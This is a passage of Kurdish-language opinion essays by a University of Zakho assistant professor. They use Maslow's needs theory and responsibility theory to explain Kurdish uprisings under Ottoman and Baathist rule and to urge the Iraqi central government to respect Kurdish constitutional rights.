هه‌كه‌ر مه‌ بڤێت ڤان بهایان دگه‌ل ژینگه‌ها كوردستانی دا به‌راورد بكه‌ین دێ بینین ده‌لیڤه‌ بۆ بجهئینانا وان د جڤاكا كورده‌واریدا یێ هه‌ى و مه‌رجێ وێ یێ سه‌ره‌كى ژى ئه‌وه‌ تاكێ كوردى، وه‌ك تاكه‌كێ ژاپۆنى، هزر و ره‌فتار بكه‌ت و ڤێ چه‌ندێ چ حنێره‌كا مه‌زن و جادۆگه‌رییه‌ك پێنه‌ڤێت تنێ به‌رپرسیاره‌تى و خه‌مخۆرى و چاكسازییا خۆیه‌تى دڤێت، كو هه‌ر تاكه‌ك ل راستا خوه‌ پێڕابیت بۆ سه‌ركه‌فتنا جڤاكا كورده‌وارى، چونكى چاكسازییا خۆدى، چ كێمتر نینه‌ ژ چاكسازییا ئابوورى و جڤاكى و سیاسى به‌لكۆ تمامكه‌رێن هه‌ڤدۆنه‌.
*پرۆفیسۆرێ هاریكار/ زانكۆیا زاخۆ

د. نه‌سره‌دین ئیبراهیم گۆلى*
هندى مه‌ ل بیره‌ و مه‌ خواندى، هه‌ر ژ قۆناغا كه‌ڤن و سه‌رده‌مێ كاوه‌یێ ئاسنگه‌ر و هه‌تا نۆكه‌، كورد د شۆڕش و راپه‌ڕیناندا بیه‌. هه‌تاكۆ ژبه‌ر ڤان هه‌مى شۆڕشان هنده‌ك كوردان ب تێكده‌ر دزانن و هه‌رده‌م ئه‌ڤێ بێبه‌ختیێ بدویڤ كوردانڤه‌ دنن. وان چ به‌لگه‌ هه‌نه‌ بۆ ڤێ گۆتنێ؟ ئایا چ راستییه‌ك بۆ ڤێ چه‌ندێ هه‌یه‌؟
پێدڤییه‌ بێته‌ گۆتن به‌رى مرۆڤ بوونه‌وه‌ره‌ك جڤاكى بیت بوونه‌وه‌ره‌كێ بایلۆژیكیه‌، و وه‌ك گیانه‌وه‌رێن دیتر، هه‌ر وه‌كى چه‌وا زانایێ مه‌زن چارلز دارڤین ئاماژه‌ى پێدده‌ت و باوه‌را وى ئه‌وه‌ ئه‌و- مرۆڤ، یێ ژ سروشتى بى، و بوونه‌وه‌ره‌كێ فیزیۆلۆژیكه‌، و مه‌ژیێ وى كۆنترۆلێ لسه‌ر ره‌فتار و كریارێن وى دكه‌ت. ده‌مێ مرۆڤ یێ دلخۆش و ئارام بیت خانه‌یێن مه‌ژیێ وى ژى وه‌كى هه‌ر گیانه‌وه‌ره‌كێ دیتر و مرۆڤه‌ك ئاسایێ دیتر دهێته‌ ئازراندن و ڤه‌دژیت و ئارام و هێدییه‌ و به‌رۆڤاژى وێ، ده‌مێ یێ تووڕه‌ و تژى كه‌ربوكین بیت، خانه‌یێن مه‌ژیێ وى شه‌پرزه‌ و ئالۆز دبن و تووشى تێكچوونێ دبن، ل دویڤدا ژى دوه‌ستن و ماندى و بێزار دبن.
له‌وما مرۆڤێ كورد ژی وه‌كى هه‌ر مرۆڤه‌ك ئاسایێ دیتر ل هه‌ر جهه‌كێ جیهانێ حه‌ز ژ ئارامى و ته‌ناهى و ره‌حه‌تیێ و كه‌یفخۆشیێ و ڤیانێ دكه‌ت و بزاڤێ دكه‌ت خوه‌ ژ كه‌ربوكین و خرابیێ و حه‌سوودیێ و هه‌لچوونێ و هه‌ر ره‌فتاره‌كا خراب و ئازرێنه‌ر بپارێزیتن، داكۆ مێشكێ وى یێ ئارام بیت.
به‌لێ ل ڤێرێ تشته‌ك دیتر دهێته‌ گۆڕێ و ئه‌و ژى ئاسته‌نگێن لبه‌ر تێربوون و دابینكرنا پێدڤیاتیێن (الحاجات) وینه‌. هه‌روه‌ك زانایێ مه‌زنێ ئه‌مریكى د بیاڤێ ده‌روونناسیێ دا، ئابراهام ماسلۆ، ژى د بیردۆزه‌یا خوه‌ دا ل دۆر پێدڤیاتیێن ئاماژه‌ى پێدده‌ت، مرۆڤ بوونه‌وه‌ره‌كه‌ ژ كۆمه‌كا پێدڤیاتییان پێكهاتییه‌:
پێدڤیاتیێن سه‌ره‌كى و بایلۆژیكى، وه‌كى خوارن و ڤه‌خوارن، هه‌وا و ئاڤ و سكس، و …هتد، كو كارتێكرنێ لسه‌ر مان و نه‌مانا مرۆڤان دكه‌ت و دگه‌ل گیانه‌وه‌رێن دیتر هه‌ڤپشكن د ڤى جۆرێ پێدڤیاتییان دا و پێدڤیاتیێن ئابوورى یێن وه‌كى ژێده‌رێن ژیارا خێزانه‌كێ، پێدڤیاتیێن جڤاكى وه‌كى رێزگرتن ل تاكى و بوونا وى، و پێدڤیاتیێن زانه‌كى (مه‌عریفى) و جوانیێ، وه‌كى بده‌ستڤه‌ئینانا زانستى و زانینێ، و كه‌لتوور و تام و چێژوه‌رگرتن ژ تشتێ جوان و لێكداى و بسه‌روبه‌ر و پێدڤیاتیێن ژێیاتیێ وه‌كى ژێیاتى بۆ گرۆپه‌كى و نه‌ته‌وه‌ و ئایین و پارته‌كا سیاسى، و تێدا ئه‌و تاك هه‌ست ب ئارامى و ئێكگرتنێ دكه‌ت و هه‌ست دكه‌ت ده‌مێ زیانه‌ك ب وان دكه‌ڤیت زیان دێ گه‌هیته‌ وى ژى.
یا فه‌ره‌ ئه‌ڤ پێدڤییاتییه‌ د ئاسته‌ك گۆنجایدا بهێنه‌ دابینكرن و تێركرن، به‌روڤاژى ده‌مێ ئێك یان هنده‌ك ژ وان دكه‌ڤنه‌ د مه‌ترسیێدا و گه‌ف لسه‌ر وان په‌یدا دبن یان ئاسته‌نگ لبه‌ر تێركرنا وان په‌یدا دبن، هنگى تاك تووشى كارڤه‌دانێ به‌رامبه‌ر ب ژێده‌رێ وێ ئاسته‌نگیێ دبیت، ڤێجا چ ئه‌و لایه‌ن كه‌سه‌ك یان پارته‌ك یان هه‌ر ده‌ستهه‌لاته‌كا دیتر بیت. ئه‌ڤ كارڤه‌دانه‌ خوه‌ ب ره‌نگێن جودایێن بچویك وه‌كى خه‌به‌رگوتنه‌كێ یان لێدانه‌كا بچویك ب ده‌ستى یان پێى بیت یان هه‌لچۆنه‌ك بچویك بیت وه‌ك كه‌رب هه‌لگرتنه‌ك و یان دبیتن تووڕه‌ بیت و دبیت كارڤه‌دانێن مه‌زن بدویڤ خۆ دا بینن وه‌ك شۆڕش و راپه‌ڕینه‌ك مه‌زن ل وه‌لاته‌كێ دیكتاتۆریدا یان خۆپێشاندانه‌كا هێمنانه‌ بیت ل وه‌لاته‌كێ دیمۆكراسی دا.
هه‌كه‌ر ئه‌م پێداچوونه‌كا هویر د دیرۆكا كوردان بكه‌ین دێ بینین تژییه‌ ژ وان ره‌فتار و كریارێن دبنه‌ ئاسته‌نگ ل به‌ر تێر و دابینكرنا پێدڤیاتیێن وى یان وان كه‌سان ل گوند و باژێڕان ب گشتى.
دهێته‌گۆتن ل سه‌رده‌مێ عوسمانیان، ره‌شه‌كێن خه‌لیفه‌ى ل گۆند و باژێڕان ب زۆرى خویك ژ خه‌لكێ د ستاندن و گۆتنا ” مالێ نه‌خارى رزقێ چه‌كمه‌پۆشی یه‌” ئێكه‌ ژ وان گۆتنێن وى سه‌رده‌مێ ته‌حل بیرا مه‌ دئینن كو پشكه‌ك مه‌زن ژ رزق و قویتێ خه‌لكێ بۆ ده‌ستهه‌لاتا ئوسمانیان دچوو. ئه‌وێن سه‌رده‌مێ به‌عسێ ب چاڤێن خوه‌ دیتین ڤه‌دگێڕن ل (سه‌یته‌را) سه‌رباز و زه‌لامێن رژیمێ قویتێ خه‌لكێ، ئار و تۆڤچا و شه‌كر، و …هتد، ژ خه‌لكێ دستاند و ب عه‌ردى وه‌ردكر و ب پیاڤه‌ دچوونه‌ سه‌ر.
ئه‌ڤه‌ و ژبلى وان تاوانێن دژى خه‌لكێ كوردستانێ دهاته‌كرن و ژ ئه‌نفالێن به‌عسێ بگره‌ هه‌تا به‌رزه‌كرنا گه‌نج و خه‌لكێ لسه‌ر ده‌ستێ زه‌لامێن (ئه‌منێ) و كێمیابارانكرن و تێكدانا هزاران گوند و باژێڕان و…هتد. دژایه‌تیكرنا فه‌رهه‌نگ و عه‌ده‌ت و ره‌وش و تیتالێن جڤاكى و رێگریكرن ل جێبه‌جێكرنا وان و هه‌مى ئه‌و ئاسته‌نگێن لسه‌ر ئاستێ جڤاكى و ئابوورى و كه‌لتوورى و نه‌ته‌وه‌یى و ئایینى و…هتد، لدژى وان دهاته‌كرن، ئه‌و ئاسته‌نگ بین ئه‌وێن نه‌دهێلان تاكێ كوردستانى ژ لایه‌نێ كه‌لتوورى و ئابوورى و نه‌ته‌وه‌یى و مادى و بایلۆژیكى و جڤاكى تێر ببیت، و بێگومان به‌رسڤا تاكێ كورد بۆ وان ئاسته‌نگان، شۆڕش و راپه‌ڕین بین لدژى ده‌ستهه‌لاتێ و ژێده‌رێ ڤان هه‌مى گه‌فان بۆ سه‌ر ژیار و مان و نه‌مانا تاكێ كورد، چونكى هه‌كه‌ر ڤى تاكى وه‌نه‌كربایه‌ دا زیانێن مه‌زنتر گه‌هنێ.
فه‌ره‌ ئه‌و لایه‌ن و وه‌لاتێن دیكتاتۆرى پێداچوونه‌كێ د سیاسه‌تا خوه‌ دا بكه‌ن و ب ڕێكێن یاسایى و دیمۆكراسى و لسه‌ر بنه‌مایێن دادپه‌روه‌ریێ و یه‌كسانى، ئازادى، دویر ژ كه‌ربوكین و تۆلڤه‌كرن و ته‌په‌سه‌ركرنێ، سه‌ره‌ده‌ریێ دگه‌ل پێدڤیاتیێن بایلۆژیكى و مادى و ئابوورى و جڤاكى و نه‌ته‌وه‌یى و ژێیاتیێن كوردستانیان بكه‌ن، و بزان نكو كورد نه‌ته‌وه‌یه‌كێ ئاشتیخواز و زه‌حمه‌تكێشن، كو دڤێت لسه‌ر بنه‌مایێن دادپه‌روه‌رى و رێزگرتنا دو ئالى و ئێكدو په‌ژراندن و قه‌بوولكرن و مرۆڤدۆستیێ و دویر ژ تووندوتیژى و خورتیلێكرنێ سه‌ره‌ده‌رى دگه‌لدا بهێته‌كرن و مافێن وان یێن سه‌ره‌كى و دستوورى و یاسایى بهێنه‌پاراستن، و برایه‌تى د گۆپیتكا خوه‌ دا بیت، چونكى هه‌روه‌كى جه‌نابێ سه‌رۆك بارزانى زۆر جاران ئاماژه‌ى پێدده‌ت “ئه‌م د مرۆڤبوونێ دا برایێن هه‌ڤدونه‌”، و چاوا دبیت برا زۆلمێ ل برایێ خوه‌ یێ مرۆڤ بكه‌ت؟
*پرۆفیسۆرێ هاریكار/ زانكۆیا زاخۆ

د. نه‌سره‌دین ئیبراهیم گۆلى*
د زانستێ ده‌روونناسیێ دا تیۆره‌ك یا هه‌ى ب ناڤێ بیردۆزا به‌رپرسیاره‌تیێ. ئه‌ڤ بیردۆزه‌ به‌رده‌وامییا رێبازا فه‌لسه‌فییا ئێكزێستێنشیالیزم (وجوودى) یه‌، و نێزیكه‌ ژ بیردۆزا واتا (المعنى) یا ڤیكتۆر فرانكلى..
ئه‌ڤ تیۆره‌ وه‌سا دبینیت كو ئاریشه‌ و كێشه‌یێن مرۆڤى و نه‌خۆشیێن وى یێن ده‌روونى، نه‌ ژ ئه‌گه‌رێ خه‌لكێ دیتر یان كاودانێن ده‌رڤه‌یى یێن ژیانێیه‌ به‌لكۆ به‌رۆڤاژى بۆ كار و كریار و ره‌فتارێن مرۆڤى ب خوه‌ دزڤڕن. ب دیتنا ڤێ بیردۆزێ مرۆڤ ئافه‌رێنه‌رێ هه‌ر تشته‌كى یه‌، كو د ژیانا وى دا رووى دده‌ن. ئه‌ڤه‌ ئانكۆ ژ ئه‌گه‌رێ هندێ كو مرۆڤ ب خوه‌ دروستكه‌رێ ئه‌زموونێن خوه‌یه‌، واته‌ ئه‌و ب تمامى به‌رپرسیارێ هه‌مى وان ره‌فتار و كریار و بڕیارانه‌، و هه‌كه‌ر مرۆڤ به‌رپرسیاره‌تییا وان وه‌ربگریت، دێ گه‌هیته‌ راستیان، و ژ وان وه‌هم و سه‌راب و خه‌یالێن بێ بنه‌ما رزگار بیت، ئه‌وێن وى بۆ خوه‌ دروستكرین و ب ڤى ره‌نگى دێ ژ زنجیرێن وان بیروباوه‌رێن دره‌وین رزگار بیت و بیته‌ كه‌سه‌كێ ئازاد و سه‌ربه‌ست و سه‌ربه‌رداى، كو دشێت ئه‌و تشتێ ل دویڤ حه‌ز و ڤیان و ئاره‌زوو و دلێ خوه‌ هه‌لبژێریت، ب ڤى ره‌نگى دێ بیته‌ ئافه‌رێنه‌ر و دروستكه‌رێ چاره‌نڤیسا خوه‌. ب گۆتنه‌ك دیتر مرۆڤ دشێت ئه‌وان هه‌سته‌وه‌ران ژێبگریت، یێن وى به‌ر ب به‌خته‌وه‌رى یان به‌ختڕه‌شیێ، یا چالاك و ب بزاڤبوونێ یان ماندیبوون و شه‌كتیێ ئاراسته‌ بكه‌ت.
د په‌یوه‌ندییا د ناڤبه‌را هه‌رێمێ و حوكمه‌تا ناڤه‌ندى دا، چ ل رابردووى و چ ل ماوه‌یه‌كى پێش نۆكه‌دا، ئه‌ڤ به‌رپرسیاره‌تییه‌ به‌رزه‌ بوویه‌، و حوكمه‌تا ناڤه‌ند وه‌ك پێدڤى ئه‌ركێ به‌رپرسیاره‌تییا ره‌فتار و كریار و بڕیارێن خوه‌ ب ستۆیێ خوه‌ڤه‌ نه‌گرتیه‌، ئه‌ڤه‌ ل ده‌مه‌كیدایه‌ كو كوردان ژ ده‌رڤه‌ى مافێن یاسایى و ئاسایى و دستووریێن خوه‌، چ تشته‌كێ زێده‌تر نه‌خواستیه‌ و هه‌رده‌م به‌رپرسیارانه‌ سه‌ره‌ده‌رییا دگه‌ل كاودانێن سیاسى دا كرین، و تنێ داخوازا وان تشتان كریه‌ كو هه‌ر نه‌ته‌وه‌یه‌كێ دیتر ل جیهانێ دا یا ڤیاى و داخوازكرى، به‌لێ حكومه‌تا ناڤه‌ندى خوه‌ ژ به‌رپرسیاره‌تیێ ڤه‌دزییه‌ و به‌رهه‌مێ وێ ژى مه‌ ل رژێما پێشترا به‌عسا رۆخیاى و سه‌دامێ گۆڕ ب گۆڕ دیت كو چه‌ندین كاره‌سات و شه‌ڕێن مالوێرانكه‌ر و سه‌دان هزار شه‌هید و ئه‌نفال و كێمیا بارانكرن و تێكدانا سه‌دان گۆند و باژێڕێن كوردستانێ بووینه‌، كو جڤاكا نێڤده‌وله‌تى ژى خوه‌ ژ به‌رپرسیاره‌تییا وان تاوانان ڤه‌دزى و خوه‌ لێ بێده‌نگ كربوو.
به‌لێ د جهێ خوه‌ دایه‌ بهێته‌ پرسیاركرن: پا چاره‌سه‌ر چیه‌؟ بۆ به‌رسڤێ ژى پێدڤیه‌ بهێته‌گۆتن: تنێ زڤڕینه‌ بۆ هه‌لگرتنا ئه‌ركێ به‌رپرسیاره‌تیێ به‌رامبه‌ر وان ره‌فتار و كریار و بڕیارێن حوكمه‌تا ناڤه‌ندى ئه‌نجامدده‌ت، وه‌ك ئه‌وا د تیۆرییا سه‌ریدا هاتیه‌گۆتن.
ده‌مێ حوكمه‌تا ناڤه‌ندى ب به‌رپرسیاره‌تى ڤه‌ ته‌ماشه‌ى دۆزا ره‌وایا كوردستانیان دكه‌ت و ب ترازوویه‌كا تژى دادپه‌روه‌رى وێ هه‌لبسه‌نگینیت، دێ بینیت كو كوردان تنێ دڤێت وه‌كى هه‌ڤوه‌لاتیه‌كێ پله‌ ئێك بهێته‌ هژمارتن و سه‌حكرن، و وه‌كى هه‌ر نه‌ته‌وه‌یه‌ك دیتر ب شانازى و سه‌رفیرازى، و ئازادى، و دویر ژ خۆسه‌پاندن، و ل سه‌ر بنه‌مایێ وى دستوورێ مه‌ هه‌میان ده‌نگێ خوه‌ دایێ، بژیت و دان ب مافێن وى یێن ده‌ستوورى بهێته‌دان و ژ زمانێ ترساندن و گه‌فان و ترش و ته‌حل دویر بیت.
*پرۆفیسۆرێ هاریكار/ زانكۆیا زاخۆ